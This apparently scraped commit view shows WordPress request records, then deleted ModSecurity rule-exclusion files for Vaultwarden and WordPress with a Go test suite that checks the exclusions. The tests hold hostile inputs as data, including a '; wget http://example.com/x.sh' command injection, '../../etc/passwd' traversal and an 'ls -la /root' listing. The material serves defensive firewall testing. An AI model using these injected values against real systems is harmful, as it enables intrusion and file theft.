{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 133", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251855"], "body": "slug=powershell&action=install-plugin&_ajax_nonce=61c8a7b528&_fs_nonce=&username=&password=&connection_type=&public_key=&private_key="}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 136", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251855"], "body": "slug=docker-helper&action=install-plugin&_ajax_nonce=61c8a7b528&_fs_nonce=&username=&password=&connection_type=&public_key=&private_key="}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 131", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251855"], "body": "slug=htaccess&action=install-plugin&_ajax_nonce=61c8a7b528&_fs_nonce=&username=&password=&connection_type=&public_key=&private_key="}
{"method": "POST", "target": "/wp-comments-post.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 169", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/htaccess/", "Accept-Encoding: gzip, deflate"], "body": "comment=Thanks%2C+this+helped.+Note+0.&author=Ann+Example&email=ann%40example.com&url=http%3A%2F%2Fblog.example%2F&submit=Post+Comment&comment_post_ID=1&comment_parent=0"}
{"method": "POST", "target": "/wp-comments-post.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 172", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/htaccess/", "Accept-Encoding: gzip, deflate"], "body": "comment=Thanks%2C+this+helped.+Note+1.&author=Ann+Example&email=ann%40example.com&url=http%3A%2F%2Fpython3.example%2F&submit=Post+Comment&comment_post_ID=1&comment_parent=0"}
{"method": "POST", "target": "/wp-comments-post.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 189", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/htaccess/", "Accept-Encoding: gzip, deflate"], "body": "comment=Thanks%2C+this+helped.+Note+2.&author=Ann+Example&email=ann%40example.com&url=http%3A%2F%2Fblog.example%2Fpowershell-basics%2F&submit=Post+Comment&comment_post_ID=1&comment_parent=0"}
{"method": "POST", "target": "/wp-comments-post.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 178", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/htaccess/", "Accept-Encoding: gzip, deflate"], "body": "comment=Thanks%2C+this+helped.+Note+3.&author=Ann+Example&email=ann%40example.com&url=http%3A%2F%2Fblog.example%2Fls+-la%2F&submit=Post+Comment&comment_post_ID=1&comment_parent=0"}
{"method": "POST", "target": "/wp-comments-post.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 178", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/htaccess/", "Accept-Encoding: gzip, deflate"], "body": "comment=Thanks%2C+this+helped.+Note+4.&author=Ann+Example&email=ann%40example.com&url=http%3A%2F%2Fblog.example%2F.htaccess&submit=Post+Comment&comment_post_ID=1&comment_parent=0"}
-126
View File
@@ -1,126 +0,0 @@
# The thirteenth change: on Vaultwarden's paths, some fields skip the rules that
# refused ordinary Vaultwarden requests there. They are the fields where
# Vaultwarden receives a name, a password hint or an email address in plain
# text, and the names of uploaded files. Each exclusion runs with the request,
# before the rules it switches off, so this file is loaded before the Core Rule
# Set's rules. Each comment names a request a rule refused. An exclusion on a
# field of a body applies only when the query has no parameter of that name, so
# it matters only while SWW_WAF_BODY_LIMIT is set.
#
# The apps encrypt the names, notes, addresses and file names of vault items,
# folders, collections and sends before they send them. These values pass
# without exclusions.
#
# Four rules read a name or a hint as a command or a system file:
# 930120: .htaccess
# 932120: powershell
# 932250: ls -la
# 932260: python3
# Names and password hints, in JSON bodies, skip the four rules:
# name: signing up, editing the account's profile, and creating or renaming
# an organization or a group, "python3 .htaccess team"
# name: naming a security key at /api/two-factor/webauthn, "python3 key"
# masterPasswordHint: signing up or changing the master password,
# "the .htaccess one, not powershell"
# invitation_org_name, smtp_from_name: saving the admin page's settings,
# "ls -la and .htaccess vault"
# Drupal serves /admin/config too, but sends no JSON there.
SecRule REQUEST_FILENAME "@rx ^/identity/accounts/|^/api/(?:accounts|emergency-access|organizations)(?:/|$)|^/api/two-factor/webauthn$|^/admin/config$" \
"id:900150,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:name|masterpasswordhint|invitation_org_name|smtp_from_name)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:name|masterpasswordhint|invitation_org_name|smtp_from_name)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:name|masterpasswordhint|invitation_org_name|smtp_from_name)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:name|masterpasswordhint|invitation_org_name|smtp_from_name)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:name|masterpasswordhint|invitation_org_name|smtp_from_name)$/"
# Email addresses, in bodies, skip 930120, 932120 and 932260, which refused
# these addresses:
# 930120: jane.profile@example.com
# 932120: powershell@example.com
# 932260: python3.dev@example.com
# These fields hold an address:
# username: signing in at /identity/connect/token, in form data
# email: signing up, asking for the password hint, inviting an emergency
# contact, and inviting a user from the admin page
# email: setting up sign-in codes by email, and asking for one when signing
# in, under /api/two-factor/
# email: signing in with another device, at /api/auth-requests
# email: sending the admin page's test email, at /admin/test/smtp
# salt fields, such as masterPasswordUnlock.salt: signing up and changing
# the master password, which send the address as the salt
# accountUnlockData.masterPasswordUnlockData.email: rotating the account's
# encryption key
# newEmail: changing the account's address
# billingEmail: creating or editing an organization
# emails: inviting members to an organization
# smtp_from, smtp_username, org_creation_users: saving the admin page's
# settings
# An address holds no spaces, so it keeps 932250, which needs ls -la.
SecRule REQUEST_FILENAME "@rx ^/identity/(?:connect/token$|accounts/)|^/api/(?:accounts|emergency-access|organizations|auth-requests)(?:/|$)|^/api/two-factor/|^/admin/(?:config|invite|test/smtp)$" \
"id:900151,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:username|json\.(?:email|newemail|billingemail|emails\.\d+|smtp_from|smtp_username|org_creation_users|(?:[a-z]+\.)+salt|accountunlockdata\.masterpasswordunlockdata\.email))$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:username|json\.(?:email|newemail|billingemail|emails\.\d+|smtp_from|smtp_username|org_creation_users|(?:[a-z]+\.)+salt|accountunlockdata\.masterpasswordunlockdata\.email))$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:username|json\.(?:email|newemail|billingemail|emails\.\d+|smtp_from|smtp_username|org_creation_users|(?:[a-z]+\.)+salt|accountunlockdata\.masterpasswordunlockdata\.email))$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:username|json\.(?:email|newemail|billingemail|emails\.\d+|smtp_from|smtp_username|org_creation_users|(?:[a-z]+\.)+salt|accountunlockdata\.masterpasswordunlockdata\.email))$/"
# The data breach report sends an address in the query, which skips the same
# three rules: /api/hibp/breach?username=jane.profile%40example.com.
SecRule REQUEST_FILENAME "@rx ^/api/hibp/breach$" \
"id:900152,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:username,\
ctl:ruleRemoveTargetById=932120;ARGS:username,\
ctl:ruleRemoveTargetById=932260;ARGS:username"
# An uploaded attachment or file send is named by its encrypted name, such as
# "2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJrR...". 920120 refused the "=" in
# it, so the names of uploaded files skip 920120 on these paths:
# /api/ciphers/<id>/attachment/<attachment id>, and the older uploads to
# /api/ciphers/<id>/attachment, /api/ciphers/<id>/attachment-admin and
# /api/ciphers/<id>/attachment/<attachment id>/share
# /api/sends/<id>/file/<file id>
SecRule REQUEST_FILENAME "@rx ^/api/ciphers/[0-9a-f-]{36}/attachment(?:-admin|/[0-9a-f]+(?:/share)?)?$|^/api/sends/[0-9a-f-]{36}/file/[0-9a-f]+$" \
"id:900153,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=920120;FILES"
# The admin token, which an administrator types at /admin, skips each rule that
# random passwords set off. The master password is hashed by the apps before
# they send it, so password and masterPasswordHash need no exclusion.
SecRule REQUEST_FILENAME "@rx ^/admin/?$" \
"id:900154,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:token "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:token,\
ctl:ruleRemoveTargetById=920540;ARGS:token,\
ctl:ruleRemoveTargetById=921200;ARGS:token,\
ctl:ruleRemoveTargetById=930100;ARGS:token,\
ctl:ruleRemoveTargetById=930110;ARGS:token,\
ctl:ruleRemoveTargetById=930120;ARGS:token,\
ctl:ruleRemoveTargetById=932125;ARGS:token,\
ctl:ruleRemoveTargetById=932130;ARGS:token,\
ctl:ruleRemoveTargetById=932160;ARGS:token,\
ctl:ruleRemoveTargetById=932230;ARGS:token,\
ctl:ruleRemoveTargetById=932250;ARGS:token,\
ctl:ruleRemoveTargetById=932260;ARGS:token,\
ctl:ruleRemoveTargetById=932270;ARGS:token,\
ctl:ruleRemoveTargetById=932280;ARGS:token,\
ctl:ruleRemoveTargetById=932330;ARGS:token,\
ctl:ruleRemoveTargetById=932340;ARGS:token,\
ctl:ruleRemoveTargetById=932370;ARGS:token,\
ctl:ruleRemoveTargetById=932380;ARGS:token,\
ctl:ruleRemoveTargetById=933100;ARGS:token,\
ctl:ruleRemoveTargetById=933135;ARGS:token,\
ctl:ruleRemoveTargetById=933180;ARGS:token,\
ctl:ruleRemoveTargetById=933210;ARGS:token,\
ctl:ruleRemoveTargetById=941100;ARGS:token,\
ctl:ruleRemoveTargetById=941120;ARGS:token,\
ctl:ruleRemoveTargetById=941160;ARGS:token,\
ctl:ruleRemoveTargetById=941180;ARGS:token,\
ctl:ruleRemoveTargetById=942100;ARGS:token,\
ctl:ruleRemoveTargetById=942151;ARGS:token,\
ctl:ruleRemoveTargetById=942190;ARGS:token,\
ctl:ruleRemoveTargetById=942230;ARGS:token,\
ctl:ruleRemoveTargetById=942290;ARGS:token,\
ctl:ruleRemoveTargetById=942320;ARGS:token,\
ctl:ruleRemoveTargetById=942540;ARGS:token,\
ctl:ruleRemoveTargetById=942550;ARGS:token,\
ctl:ruleRemoveTargetById=944150;ARGS:token"
-385
View File
@@ -1,385 +0,0 @@
package coreruleset_test
import (
"encoding/base64"
"encoding/json"
"math/rand/v2"
"net/http"
"net/url"
"slices"
"strings"
"testing"
)
// vaultwardenThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
const vaultwardenThreshold = 5
// Paths of Vaultwarden's API and admin page.
const (
vaultwardenOrganization = "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b"
vaultwardenCipher = "/api/ciphers/f81eb6e1-8210-4e15-8b9b-6ff70f7edc7d"
vaultwardenSignUp = "/identity/accounts/register/send-verification-email"
vaultwardenFinishSignUp = "/identity/accounts/register/finish"
vaultwardenPassword = "/api/accounts/password"
vaultwardenProfile = "/api/accounts/profile"
vaultwardenSettings = "/admin/config"
vaultwardenSecurityKey = "/api/two-factor/webauthn"
)
// vaultwardenEmail is a JSON body that sends an address in email.
const vaultwardenEmail = `{"email":"VALUE"}`
// vaultwardenField is a field Vaultwarden receives in plain text: the
// request that sends it, and its body, with VALUE where the field's value
// goes.
type vaultwardenField struct {
method, target, contentType, body string
}
// with returns f's body holding value, escaped as f's kind of body escapes
// it.
func (f vaultwardenField) with(t *testing.T, value string) string {
t.Helper()
escaped := url.QueryEscape(value)
if f.contentType == jsonBody {
quoted, err := json.Marshal(value)
if err != nil {
t.Fatal(err)
}
escaped = strings.Trim(string(quoted), `"`)
}
return strings.ReplaceAll(f.body, "VALUE", escaped)
}
// vaultwardenNameFields hold every field that skips 930120, 932120, 932250
// and 932260: the names and the password hints.
//
//nolint:gochecknoglobals // a constant cannot be a list
var vaultwardenNameFields = []vaultwardenField{
{
http.MethodPost, vaultwardenSignUp, jsonBody,
`{"email":"alice@example.com","name":"VALUE"}`,
},
{
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
`{"email":"alice@example.com","masterPasswordHint":"VALUE"}`,
},
{http.MethodPut, vaultwardenProfile, jsonBody, `{"name":"VALUE","culture":"en-US"}`},
{http.MethodPost, vaultwardenPassword, jsonBody, `{"masterPasswordHint":"VALUE"}`},
{
http.MethodPost, "/api/organizations", jsonBody,
`{"name":"VALUE","billingEmail":"billing@example.com"}`,
},
{http.MethodPut, vaultwardenOrganization, jsonBody, `{"name":"VALUE"}`},
{http.MethodPost, vaultwardenOrganization + "/groups", jsonBody, `{"name":"VALUE"}`},
{http.MethodPost, vaultwardenSettings, jsonBody, `{"invitation_org_name":"VALUE"}`},
{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from_name":"VALUE"}`},
{http.MethodPost, vaultwardenSecurityKey, jsonBody, `{"id":1,"name":"VALUE"}`},
{http.MethodPut, vaultwardenSecurityKey, jsonBody, `{"id":1,"name":"VALUE"}`},
}
// vaultwardenAddressFields hold every field of a body that skips 930120,
// 932120 and 932260: the email addresses.
//
//nolint:gochecknoglobals // a constant cannot be a list
var vaultwardenAddressFields = []vaultwardenField{
{
http.MethodPost, "/identity/connect/token", formData,
"grant_type=password&username=VALUE&password=example&scope=api+offline_access",
},
{http.MethodPost, "/identity/accounts/prelogin/password", jsonBody, vaultwardenEmail},
{http.MethodPost, vaultwardenSignUp, jsonBody, `{"email":"VALUE","name":"Alice"}`},
{http.MethodPost, vaultwardenFinishSignUp, jsonBody, vaultwardenEmail},
{
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
`{"masterPasswordAuthentication":{"salt":"VALUE"}}`,
},
{
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
`{"masterPasswordUnlock":{"salt":"VALUE"}}`,
},
{
http.MethodPost, vaultwardenPassword, jsonBody,
`{"authenticationData":{"salt":"VALUE"}}`,
},
{http.MethodPost, vaultwardenPassword, jsonBody, `{"unlockData":{"salt":"VALUE"}}`},
{
http.MethodPost, "/api/accounts/key-management/rotate-user-account-keys", jsonBody,
`{"accountUnlockData":{"masterPasswordUnlockData":{"email":"VALUE"}}}`,
},
{http.MethodPost, "/api/accounts/password-hint", jsonBody, vaultwardenEmail},
{http.MethodPost, "/api/accounts/email-token", jsonBody, `{"newEmail":"VALUE"}`},
{
http.MethodPost, "/api/emergency-access/invite", jsonBody,
`{"email":"VALUE","type":0}`,
},
{http.MethodPut, vaultwardenOrganization, jsonBody, `{"billingEmail":"VALUE"}`},
{
http.MethodPost, vaultwardenOrganization + "/users/invite", jsonBody,
`{"emails":["alice@example.com","VALUE"],"type":2}`,
},
{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from":"VALUE"}`},
{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_username":"VALUE"}`},
{http.MethodPost, vaultwardenSettings, jsonBody, `{"org_creation_users":"VALUE"}`},
{http.MethodPost, "/admin/invite", jsonBody, vaultwardenEmail},
{http.MethodPost, "/admin/test/smtp", jsonBody, vaultwardenEmail},
{http.MethodPost, "/api/two-factor/send-email-login", jsonBody, vaultwardenEmail},
{http.MethodPost, "/api/two-factor/send-email", jsonBody, vaultwardenEmail},
{
http.MethodPut, "/api/two-factor/email", jsonBody,
`{"email":"VALUE","token":"123456"}`,
},
{http.MethodPost, "/api/auth-requests", jsonBody, `{"email":"VALUE","type":0}`},
}
// vaultwardenBreachReport is the data breach report, which sends an address
// in the query, ending in "=".
const vaultwardenBreachReport = "/api/hibp/breach?username="
// vaultwardenAddresses are the addresses 930120, 932120 and 932260 refused.
//
//nolint:gochecknoglobals // a constant cannot be a list
var vaultwardenAddresses = []string{
"jane.profile@example.com",
"python3.dev@example.com",
"powershell@example.com",
}
// wantVaultwardenField checks that the Core Rule Set, reading bodies,
// refuses f holding value, or lets it through.
func wantVaultwardenField(
t *testing.T, f vaultwardenField, value string, refused bool,
) {
t.Helper()
r := request{f.method, f.target, []string{f.contentType}}
body := f.with(t, value)
got, _ := inspectBody(t, readingBodies(t), r, body)
if refused && got.Score < vaultwardenThreshold {
t.Errorf("%s %s %s let through: %+v", f.method, f.target, body, got)
}
if !refused && got.Score >= vaultwardenThreshold {
t.Errorf("%s %s %s refused: %+v", f.method, f.target, body, got)
}
}
func TestVaultwardenHardValuesPassInTheExcludedFields(t *testing.T) {
t.Parallel()
for _, encoded := range hardValues {
value, _ := url.QueryUnescape(encoded)
for _, f := range vaultwardenNameFields {
wantVaultwardenField(t, f, value, false)
}
}
for _, value := range vaultwardenAddresses {
for _, f := range vaultwardenAddressFields {
wantVaultwardenField(t, f, value, false)
}
target := vaultwardenBreachReport + url.QueryEscape(value)
if got := inspect(t, atDefaults(t), get(target)); got.Score >= vaultwardenThreshold {
t.Errorf("%s refused: %+v", target, got)
}
}
}
// vaultwardenAttacks are an SQL injection, a script injection, a shell
// command and a path traversal.
//
//nolint:gochecknoglobals // a constant cannot be a list
var vaultwardenAttacks = []string{
injection,
scriptTag,
"; wget http://example.com/x.sh",
"../../etc/passwd",
}
func TestVaultwardenAttacksAreRefusedInTheExcludedFields(t *testing.T) {
t.Parallel()
for _, attack := range vaultwardenAttacks {
for _, f := range slices.Concat(vaultwardenNameFields, vaultwardenAddressFields) {
wantVaultwardenField(t, f, attack, true)
}
target := vaultwardenBreachReport + url.QueryEscape(attack)
if got := inspect(t, atDefaults(t), get(target)); got.Score < vaultwardenThreshold {
t.Errorf("%s let through: %+v", target, got)
}
}
// An address keeps 932250, which refuses a listing of files.
for _, f := range vaultwardenAddressFields {
wantVaultwardenField(t, f, "ls -la /root", true)
}
}
func TestVaultwardenExclusionsAreNarrow(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// A name keeps the rules on vault items and folders, whose names are
// encrypted, on two-factor paths other than security keys', off
// Vaultwarden's paths, and when the query has a field of the same name.
for _, target := range []string{
"/api/ciphers",
"/api/folders",
"/x" + vaultwardenProfile,
"/identity/other",
"/api/two-factor/authenticator",
vaultwardenProfile + "?json.name=python3",
} {
r := request{http.MethodPost, target, []string{jsonBody}}
body := `{"name":"python3"}`
if got, _ := inspectBody(t, crs, r, body); got.Score < vaultwardenThreshold {
t.Errorf("POST %s %s let through: %+v", target, body, got)
}
}
for _, refused := range []struct{ target, body string }{
{"/admin/other", `{"invitation_org_name":"python3"}`},
{vaultwardenProfile, `{"culture":"python3"}`},
{"/api/accounts/password-hint?json.email=python3", `{"email":"python3"}`},
} {
r := request{http.MethodPost, refused.target, []string{jsonBody}}
got, _ := inspectBody(t, crs, r, refused.body)
if got.Score < vaultwardenThreshold {
t.Errorf("POST %s %s let through: %+v", refused.target, refused.body, got)
}
}
r := request{http.MethodPost, "/identity/other", []string{formData}}
got, _ := inspectBody(t, crs, r, "username=python3")
if got.Score < vaultwardenThreshold {
t.Errorf("POST %s username=python3 let through: %+v", r.target, got)
}
target := "/api/hibp/other?username=python3"
if got := inspect(t, atDefaults(t), get(target)); got.Score < vaultwardenThreshold {
t.Errorf("%s let through: %+v", target, got)
}
}
// vaultwardenUpload returns a multipart body that uploads a file named name.
func vaultwardenUpload(name string) string {
return "--b\r\nContent-Disposition: form-data; name=\"data\"; filename=\"" + name +
"\"\r\nContent-Type: application/octet-stream\r\n\r\nx\r\n" + end
}
func TestVaultwardenAdminTokenPasses(t *testing.T) {
t.Parallel()
wantPasswordFieldsPass(t, []passwordFields{
{"/admin", formData, []string{"token"}},
})
}
// masterPasswordHashes returns count random 32-byte hashes in base64, the
// form in which the apps send a master password.
func masterPasswordHashes(count int) []string {
const size, seed = 32, 288
random := rand.New(rand.NewPCG(seed, seed)) //nolint:gosec // a fixed sample
hashes := make([]string, count)
for i := range hashes {
hash := make([]byte, size)
for j := range hash {
hash[j] = byte(random.IntN(1 << 8)) //nolint:gosec // below 256
}
hashes[i] = base64.StdEncoding.EncodeToString(hash)
}
return hashes
}
// The apps hash the master password before they send it, so these fields
// hold only base64 and set off no rule, with no exclusion.
func TestVaultwardenMasterPasswordHashesPass(t *testing.T) {
t.Parallel()
const perBody = 20
crs := readingBodies(t)
hashes := masterPasswordHashes(perBody)
for _, sent := range []struct {
r request
names []string
}{
{
request{http.MethodPost, "/identity/connect/token", []string{formData}},
[]string{passwordKey},
},
{
request{http.MethodPost, vaultwardenPassword, []string{jsonBody}},
[]string{"masterPasswordHash", "newMasterPasswordHash"},
},
{
request{http.MethodPost, "/api/accounts/delete", []string{jsonBody}},
[]string{"masterPasswordHash"},
},
} {
body := passwordBody(t, sent.r, sent.names, hashes...)
if len(body) > bodyLimit {
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
}
if got, _ := inspectBody(t, crs, sent.r, body); len(got.RuleIDs) != 0 {
t.Errorf("POST %s %v set off rules: %+v", sent.r.target, sent.names, got)
}
}
}
func TestVaultwardenEncryptedFileNamesPassOnlyOnUploads(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
encrypted := vaultwardenUpload("2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJ=|XLsf=")
for _, target := range []string{
vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a",
vaultwardenCipher + "/attachment",
vaultwardenCipher + "/attachment-admin",
vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a/share",
"/api/sends/cd9f9460-4654-4101-8c4c-14f06f1e69ae/file/5a087a52eaa5796",
} {
r := request{http.MethodPost, target, []string{multipart}}
if got, _ := inspectBody(t, crs, r, encrypted); got.Score >= vaultwardenThreshold {
t.Errorf("POST %s refused: %+v", target, got)
}
// The names of uploaded files keep the other rules: a path
// traversal and a PHP script are still refused.
for _, name := range []string{"../../etc/passwd", "x.php"} {
got, _ := inspectBody(t, crs, r, vaultwardenUpload(name))
if got.Score < vaultwardenThreshold {
t.Errorf("POST %s %s let through: %+v", target, name, got)
}
}
}
for _, target := range []string{"/upload", vaultwardenCipher + "/other"} {
r := request{http.MethodPost, target, []string{multipart}}
if got, _ := inspectBody(t, crs, r, encrypted); got.Score < vaultwardenThreshold {
t.Errorf("POST %s let through: %+v", target, got)
}
}
}
-317
View File
@@ -1,317 +0,0 @@
# The ninth change: on WordPress's paths, some fields skip the rules that refused
# ordinary WordPress requests there. Each exclusion runs with the request, before
# the rules it switches off, so this file is loaded before the Core Rule Set's
# rules. Each comment names a request the rule refused. An exclusion on a field
# of a body applies only when the query has no parameter of that name, so it
# matters only while SWW_WAF_BODY_LIMIT is set.
# WordPress takes a call to its REST API at any of four addresses:
# /wp-json/wp/v2/posts/1
# /index.php/wp-json/wp/v2/posts/1
# /index.php?rest_route=/wp/v2/posts/1
# /?rest_route=/wp/v2/posts/1
# These two rules put the route, here /wp/v2/posts/1, in tx.rest_route for the
# exclusions below. A call that names a route in both its path and its query
# gets none of them, since WordPress follows the query.
SecRule &ARGS_GET:rest_route "@eq 0" "id:900705,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?wp-json(/.*)$" \
"capture,setvar:tx.rest_route=%{tx.1}"
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php)?$" "id:900706,phase:1,pass,nolog,chain"
SecRule ARGS_GET:rest_route "@rx ^(/.*)$" "capture,setvar:tx.rest_route=%{tx.1}"
# The block editor saves a post with POST and the header X-HTTP-Method-Override:
# PUT, which the Core Rule Set refused (920450). So does saving a user's editor
# preferences.
SecRule TX:rest_route "@beginsWith /" \
"id:900700,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:X-HTTP-Method-Override"
# The block editor and the site editor send HTML in the JSON field content, which
# skips these rules when saving or autosaving a post, a page, a template or a
# template part:
# 930120: cat /etc/hosts
# 932230: a code block with a shell pipeline and an SQL query
# 932250: the same code block
# 934100: console.log('ok')
# 941100: <iframe src="..." onload="...">
# 941110: <script>
# 941120: onload=
# 941160: <img src=
# 941180: <!-- wp:paragraph -->, the comment that starts every block
# 941390: console.log(
# 942190: how to select a table from the catalog
# 942270: how to select a table from the catalog
SecRule TX:rest_route \
"@rx ^/wp/v2/(?:(?:posts|pages)(?:/[0-9]+(?:/autosaves)?)?|template(?:s|-parts)(?:/[^/]+//[^/]+(?:/autosaves)?)?)$" \
"id:900701,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:json.content "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:json.content,\
ctl:ruleRemoveTargetById=932230;ARGS:json.content,\
ctl:ruleRemoveTargetById=932250;ARGS:json.content,\
ctl:ruleRemoveTargetById=934100;ARGS:json.content,\
ctl:ruleRemoveTargetById=941100;ARGS:json.content,\
ctl:ruleRemoveTargetById=941110;ARGS:json.content,\
ctl:ruleRemoveTargetById=941120;ARGS:json.content,\
ctl:ruleRemoveTargetById=941160;ARGS:json.content,\
ctl:ruleRemoveTargetById=941180;ARGS:json.content,\
ctl:ruleRemoveTargetById=941390;ARGS:json.content,\
ctl:ruleRemoveTargetById=942190;ARGS:json.content,\
ctl:ruleRemoveTargetById=942270;ARGS:json.content"
